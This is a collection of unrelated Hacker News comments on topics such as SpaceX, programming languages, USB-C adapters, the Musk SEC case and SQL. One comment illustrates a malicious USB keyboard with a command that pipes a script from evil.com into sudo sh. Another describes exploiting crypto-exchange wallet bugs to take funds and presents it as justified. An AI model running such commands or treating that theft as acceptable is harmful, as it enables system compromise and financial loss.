skysight-inc/HackerNews huggingface dataset:
SpaceX is the only serious private company. And without government launches they would have a hard time as well. In the de-facto public sector you have the Russians, Ariane, the Chinese, the Indians... It's not that there wouldn't be anything in space without SpaceX. The thing I love about SpaceX is how they showed what can be done without the over abundance of bureaucracy you see elsewhere. Not that programs like Ariane would have learned the smallest bit from it.
Isn't that why browsers visually distinguish the TLD and the part before it from the rest of the URL?
Do you have any evidence for your hypothesis about hostile design?

The phrase, by the way, is "one obvious way".
Lead acetate is banned in the US (except for use in hair dye, which the FDA proved is safe).
Sounds like this might be your first Slavoj Zizek article.
I agree with the sibling comment. Nim feels much more like Python, which was the first language I used before I picked up C/C++. For better or worse I was taught Python at a young age!

I have a group of related cli apps that need to do a lot of work while also polling swaths of the filesystem. In Python it would have been much, much too slow without C extensions, so I wrote them in Rust instead.

There's nothing wrong with Rust, it's a fine language! But ultimately, while ownership is a clever way to do memory, I personally prefer the sheer convenience of garbage collection when I'm trying to write something that's good enough, quickly. Nim is perfect for that!
It started out for pure entertainment. Now, they sometimes work with realtime speedrunners to optimize their strategies.
I have owned four MacBook Pros since the introduction of the 2012 retina.

The years being 2012, 2014, 2015, and 2017.

The only two working still are the 2012 and the 2017 but I had a warranty swap on the 2017 in early 2018.

That 2012 model is incredible.
Show HN: Gymmmr, a social network for finding a workout partner
http://www.gymmmr.com/

Gymmmr is a social network that enables people to find partners and friends to workout with. Users enter their diet information, goals, and fitness program and are able to search for other users with similar interests/routines.

As the front page says, the goal of Gymmmr is to build community one gym at a time. Another useful feature of the app is that it enables users to find personal trainers who may specialize in helping them achieve their unique diet and fitness goals.

By default, users are shown users in their city and state since proximity is an important factor given the goals of the application.

Gymmmr is still under development but will be full released within the next couple of weeks.

Enjoy!
This makes a lot of sense and seems obvious, actually. I'm surprised the author didn't make that connection, especially while pointing out that sometimes the fancy motorbike would be owned by an old Grandpa who had no intention of riding it, and rather spent all day polishing it (that is, trying to mitigate depreciation).
Target hasn't adapted that much because they didn't have to, what they were in the 90s was good enough to keep up with online competition. I don't pretend to understand all of it, but I can tell they have something that resonates with consumers.
Phoenix area here - drone nuisance an occasional but non-negligible problem here too. Sometimes they're a minor annoyance [e.g., 4th of July fireworks viewing], and sometimes genuinely creepy [hovering over backyards in my neighborhood, sometimes at night]

I observe that the majority of drone owners use them with a mind to avoid making others ill-at-ease, but y'know, tragedy of the commons and all that
I hope this is a joke, because it unfairly stereotypes gun owners, and also because earlier posts talk about how terrible emergency LEO service is in Oakland. Next time a group of people break into your house to rob you with the willingness to kill to cover tracks, let me know how your gun free zone works out.

I have aggressive streaks like many men, but in practice I am known as even handed, mediating and compromising among colleagues. I am a peacemaker. I also own almost a dozen firearms.
Unrelated but when I saw the title I thought it would be about yoctopuce, which are usb environment sensors that are easy to script for in python or other languages. I used them to create a few weather station loggers using raspberry pis.

http://www.yoctopuce.com
Ask HN: Explain the dearth of USB-C splitters?
Dear HN:

I finally took the plunge (actually, my water did onto my 2013 MacBook Air, courtesy of a United flight attendant), and the closest modern substitute I could find was a 2017 12” MacBook with one USBC port total.

It became quickly clear that I’d need a dongle or two. USB-C accessories are easy to find, but there are some glaring holes in the lineup, and short of making my own, I’m at a loss to explain the absence of certain obvious adapters:

One USBC male to Two USBC female. No such thing.

One USBC male to Two USBC any gender. No such thing.

USBC male to dual HDMI plus any way to power, no such thing.

Don’t get me wrong, I think these accessories would seem unnecessary and overpriced if they existed, but I can’t for the life of me figure out why nobody makes them.

Do I need to drop everything and start making them to satisfy a huge unmet demand, or is there a good reason nobody makes this stuff?
Whether related to an app or solely to the OS, as well tested internally as new releases may be, it's still a new major release. Things'll iron out soon enough I'm sure.

Love,
- guy who writes software and knows that all software is terrible
Yes, this is quite common around the world where there aren't banking institutions or if the local currency is too untrustworthy to hold for longer periods of time. I have relatives in eastern Turkey that have been perpetually building one house or another in a piecemeal fashion(a wall here, a wall there, etc), as money comes in, for the past 40+ years.
Fun anecdote: One of the first graphics I made was a font, complete with smooth round edges. I had an Amiga connected to a CRT. Proud me took it to my friend to show off. He had a real monitor. My font looked like blocky crap :-)
Launchpad service and some components it loads; Rterm.exe, BxlServer.exe, etc.
I am not aware that nymag is available where I live.
We look at some of the components the launchpad service loads; Rterm.exe, BxlServer.exe, etc.
Link to original blog post: https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-r...
Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y.

Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.
It is, but it still has some meaning.

There are some people who if you hear stories of them doing bad things you'll immediately say "Nope. Clearly not true. That's just not how that person behaves." Google _used_ to be one of those. At least in my head (and from the front page of HN this week, it seems for a lot of other people as well).
does the SEC have a case? Elon can say the post was a joke (probably the truth), or that he sincerely intended to take the company private at $420 after smoking a joint with a potential backer but then later thought better of it, say he even confessed that his tweet was a deliberate attempt to mislead short-sited investors in a lapse of moral judgement; it would still be just a note on a social network, not an official company announcement. what if he left his phone unattended and someone made that tweet, would the SEC be suing him for negligently managing his twitter stream? isn't the real problem that too many "investors" are making short-sited decisions based on nonsense posted to social networks?
The farmers generally know that more money is better than less money, even if they will ultimately spend most in what we might see as a frivolous fashion.

If anyone was gaming the market on this level, they would be giving fewer proceeds to the uninformed farmer, not more.
Grand Tetons National Park was created by the Rockefeller family secretly buying all the land to set it aside for conservation.

I’m fine with that.
Absolutely not, when and if he is found guilty of market manipulation then be it, he deserves everything that coming his way. If not then, well not. It would just be pitty that hubris has destroyed a great legacy in that case. And, even more troubling, with Tesla basically being Musk its future, and that of its employees, looks rather grim all things considered. Best thing for Tesla would be if Musk was not found guilty and stepped down none the less. I don't see that happening so.

SpaceX should be fine I think, even without him.
K8s 1.12 is here
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It’s a shame that no one in academia has bothered so far to curate a critical, annotated, edition of Codd’s collected works. His impact was immense (for good and for bad, e.g., nulls in SQL) and he foresaw many of the important issues of data management in the years to come (up to nowadays), including the relevance of distributed systems and the need for different ways of looking at data, as sets, as tables, as predicates, as graphs.

Unfortunately, people who knew or worked with him have died or are getting old, so I’m losing hope…
I’m the CTO of a startup in France
> Developers and IT need to work together, not be adversaries.

This.
One thing missing from this analysis is the networking cost. The EC2 instance comes with 14gb/sec of dedicated EBS bandwidth and 25gb/sec of network bandwidth. That implies a 40gb NIC, which will require a 40gb top of rack switch and enough cross-sectional bandwidth in the datacenter fabric to handle however many of these machines they plan for (at whatever oversubscription ratio, if any).

That's a pretty non-trivial amount of expense to setup a network with enough capacity to support a machine like this fi you want to do it yourself.
> If his lawyers had a settlement lined up, and then retracted it, that means that they are confident they can win a better outcome in court.

It only means that the decision was made to risk a worse outcome in court in hopes of getting a better one. Musk is famously willing to take big risks and make big decisions himself, so it’s possible that his lawyers do not have such confidence and recommended taking the settlement.

It’s also possible that he sees this as the only chance to retain control of the company, which would be such a bad outcome that he feels he must do anything to avoid it.
Columnstore and B+ tree – are hybrid physical designs important?
Doubtful, but true - though it _should_ not be preactivated. But sometimes it is. Not to mention the Lenovo "rootkit" which is quite widely known.
This is what happened to my grandmother. She had had a hard life full of catastrophes (20+ of her relatives died in Auschwitz and Dachau), being stifled (grandfather forbid her to take a job), and resulting depression and alcoholism. She had had an essential tremor for 20 years, but apart from that, she was fine according to doctors. She told anybody she‘d just did not want to continue anymore. She developed a sore area of skin on her foot which eventually landed her in hospital, lost almost all her weight, and never returned home.

She never talked about the cruelties she and her family had to endure from the Nazis. And in the end, she didn’t seem to even remember. It was simply too much for her to ever cope.

Just an n=1, but personally I am convinced that you can die from giving up (or a broken heart, on another matter).
It is, because it censors what you can remember.

Anyway, what I was alluding to already happened: Article 13

It will get worse before the EU breaks up completely. I bet POLEXIT next.
Did she go to jail for insider trading? Or for lying to the FBI?
How about because nobody should be able to go from perfectly fine to having ruined their life* in under 30 seconds. you have one dumb thought, open twitter on your phone, push tweet, and it's over. That's not an ability people should have. We are impulsive and often dumb.
“Examples of Educated People” – John Taylor Gatto on CSPAN in 2009
One of many depressingly common pathologies in large organizations. The best way to ensure your infrastructure won't break is to ensure it's not used; whether or not that means people can do their job is a concern for a different department.
Proof of purchase is not required for a Craftsman branded hand/mechanics tool warranty replacement.

https://www.craftsman.com/customer-care/warranty-information

My main concern is that they're no longer made by Danaher and the quality has gone downhill since that change.
I know that. You're not really addressing my point...
from the filing:

> In November 5, 2013, Tesla publicly filed a Form 8-K with the Commission stating that it intended to use Musk’s Twitter account as a means of announcing material information to the public about Tesla and its products and services and has encouraged investors to review the information about Tesla published by Musk via his Twitter account.
I had one of the worst customer support experiences I can remember with Namecheap that also involved private information disclosure. It was immediately after they had launched a "redesign" of their system (actually, a Frankenstein of some pages being new, the majority of the system being ancient).

It seems like they had a bug where in some cases they discarded the WHOIS information provided and used the billing details instead. Not only did they disclose private information, they endangered a white label contract I was working on.

Bugs are understandable, especially after redesign work, but the biggest problem came afterwards – customer support were useless. First they insisted it was user error and I simply hadn't entered the right details (I'm 100% certain that's not true). Then they claimed that they were unable to update the WHOIS information because they were just a reseller, so they had to forward my support request on. They refused to take responsibility and couldn't get anything done.

At this point they were taking weeks to respond to every message, even after promising a response within 24 hours. I even asked them for a response even if it was just "we asked again and no reply" which they agreed to then ignored. They wouldn't provide contact details for support at their supplier, they wouldn't escalate to anybody who could do anything, their whole attitude was to ignore me as much as they could and (presumably; I have no evidence of this) email their supplier once in a while when I annoyed them enough.

Meanwhile I had no explanation to give to my client, for over a month. We gave up on the domain.
Once I stopped chasing, Namecheap never bothered following up. Namecheap could never fix the problem.

Until that point, I had recommended Namecheap many times. Now I warn people away from them. Now I hesitate to recommend any service until I've used their customer support. I still see plenty of glowing recommendations for Namecheap. I wonder how many of them are from people who have never had to use their customer support.
That's messed up. Sony and Nintendo have the opportunity to build something great and useful beyond entertainment, but they always find a way to take a step-backwards in time.
My intention was to show why you might think it's likely to be true. Maybe I did too good of a job? Heh :)

The justification I gave depends on an intuition that addition "scrambles" prime factorizations, ie. except for common factors, which obviously pass through to the sum, the prime factorization looks random. Understanding how prime factorizations behave under addition is certainly not an easy problem. And then, even if it is unlikely that a, b, and c are all rare, perhaps it is not unlikely in precisely the quantitative way that the abc conjecture supposes.

On the topic of things where it is a useful tool: I found http://www.ams.org/notices/200210/fea-granville.pdf which discusses its relation to other famous results but which also has a much better argument for why it should be true. They approach it as the integer analogue of this result for polynomials

> If a(t), b(t), c(t) ∈ C[t] do not have any common roots and provide a genuine polynomial solution to a(t) + b(t) = c(t), then the maximum of the degrees of a(t), b(t), c(t) is less than the number of distinct roots of a(t) b(t) c(t) = 0.
Have had it since release and iOS 12 is faster for me than iOS 11. Nothing but good things to say about this release. I'll jump on the "are you sure it's not an app" train.
That may have caused my headaches with Namecheap once actually. I've stopped using PIA due to the IP ranges being so abused, the final straw was my gmail getting randomly disabled for using that VPN (wasn't even logging in from different PC).
I’m honestly most surprised that this isn’t just common sense. Anyone who pays attention for a minute can see it play out all around them.
It doubt that imitation vanilla copies all the chemicals that are present in natural vanilla, as there must be hundreds. With artificial flavorings they usually only copy the most dominant component.
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An established term of art, correctly used and in context, is not misleading IMO.
Can’t say for all of them; but a lot are silent via being consultancies.
> Animal populations aren’t growing at exponential rates.

Erm, yes, if you ignore outside factors, they do. In fact, population growth has been a poster child to explain what exponential growth means for a while...
Google makes money by connecting ads to search queries. An advertiser makes an ad, says "make it appear for the term 'xbox'", and it shows up on Google for searches of Xbox.

This implies that two people who search "xbox" will see the same advert. That is absolutely not the case. Advertisers can target specific groups. Just log in to AdSense and you can easily see the options. They're not a secret.
All software is terrible and not all bugs will be (or can be) ironed out.

It really amazes me how people are always forming ideological groups - C vitamin is the best cure for everything. C vitamin is useless, just forget it. iOS has memory leaks. No, you are holding it wrong, iOS 12 is good.

And here at least we are a techy bunch, but outside the tech circle, how people treat software is just astonishing. Like the guy who made photographs sitting on the passenger seat, because his Tesla is a full autonomous car and it is perfectly capable of driving by itself.
Thanks for your comment. I’m in NYC and I didn’t realize there was gonna be an event tomorrow. I’ve RSVPed yes and looking forward to checking it out!
> 2. Geologists don't run experiments with n earths and randomized double-blind trials. Do you think they're not scientists either?

Although they can't travel back in time to do controlled experiments, computer simulations are pretty routine for the study of the deep time of the earth, for example, the neoproterozoic "snowball earth" simulations [1].

[1] https://www.researchgate.net/profile/W_Peltier/publication/1...
One of the reasons that many 'pop-science articles' get things wrong is that they're seldom written by scientists. Scientists who venture into popular writing can be looked down on as 'glory-hounds' by their colleagues. (E.g., George Gamow.)

So it's not entirely the journalist's fault if they don't have the credentials to simplify things adequately without distorting something.
A bit useless. Are they using it in the top ten (mail, web, cal, clock, etc.)? How much of Swift compared to ObjC code? Those are the real answers I would expect to read in your article.
What is the alternative for a root domain A record? You are saying use a direct ip to the load balancer instead?
It might be crazy, but having just gotten my hands dirty with some seriously DB programming, JDBC has a hell of a lot of value in my view.
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You can't end an essay on morality with this one-liner...

> Jon also served as an intern in the
> speechwriting department under George W. Bush.

I wonder if the "torture" thing started his reflection on whether the ends justify the means.
On early 90's, there was, on Spain,collection of documentals about astronomy. They were pretty good! Even as a little kid I understand everything, and the documentals were pretty straightforward explain everything. I would say that are at the same level that Sagan's Cosmos.

I'm trying to get the original source, but I only managed to discover that could be a translation of "A galactic odyssey" of NHK-TV, or reused some stuff from it.

I ripped some of my old VHS to YouTube : https://www.youtube.com/playlist?list=PL32C7C4EF477AB37D
the point is though, it's a little bit like a broken calculator. "The Relational Model" represents a logical model as a kind of pure piece of mathematics, and presents a system that isn't just dump disk persistence but actually a logic induction engine. However, this is not how SQL is used in practice. It is possible to implement the relational model in SQL, however if you assume SQL databases are supposed to be implementations of it in and of themselves, they violate the commutative, associative and distributive laws of the relational algebra- it's a bit like a calculator that sometimes gives you 2+2=5 (because it's faster to give wrong results sometimes). In addition, the ergonomics of a typical SQL database system do not make mathematical/logical soundness the easiest thing to achieve. Most developers don't know or care about logical induction or mathematical soundness, they just want a place to dump their objects.

That said, out of the open source SQL database systems, postgresql actually does try to implement the relational model properly. But I don't have enough direct experience with it to say definitively how well it does.

How many millions of dollars hss NULL != NULL cost the world?
There is a long list of people who have been scammed by coinbase and the many other exchanges. I had about 12 btc in a bittrex (another "safe" us based exchange) account that I signed up for with a pseudonym. Then one day around the time btc was at $19k they decided to lock my account until I give them a selfie showing my passport and other scans of id. They know this is impossible and will not let me change my basic details (citing some sentence in their ToS and how they are trying to protect me). I went the lawyer route but it turns out there is nothing you can do legally if wording in the ToS says any deposits belong to them, they are not responsible for anything, can't be sued etc. Also no one really cares about bitcoin or other cryptocurrencies in the legal sense. So good luck trying to get your bch. This turns out to be a double edge sword because since then I have made use of some of the exploitable bugs in several cryptocurrency wallets held on exchanges and have transferred back the amount I lost plus much more. Didn't even bother to use a proxy or anything because I know there is nothing that anyone can do about it, go ahead and send the internet police to my house maybe that way I can finally get in contact with them to investigate the btc that was stolen from me.
I'm just looking into a match between needs and capabilities at the moment. I think we want something we can run analysis on in R-spatial, and I'm surprised this doesn't already exist.
And all those answers are IN the article.

>Are they using it in the top ten (mail, web, cal, clock, etc.)?

No.

>How much of Swift compared to ObjC code?

Much less.

It makes sense too. You don't rewrite perfectly good programs in a new language just for the fun of it.
From the guidelines:

> Please don't use uppercase for emphasis. If you want to emphasize a word or phrase, put asterisks around it and it will get italicized.

https://news.ycombinator.com/newsguidelines.html
> what is better?
No one's mentioned _"Exit Through The Gift Shop"_; the documentary about Banksy??
>If an app (even badly coded) causes memory leaks in the OS, that's a fault of the OS still.

How's that so? An app doesn't have to leak OS memory, just leak its own memory.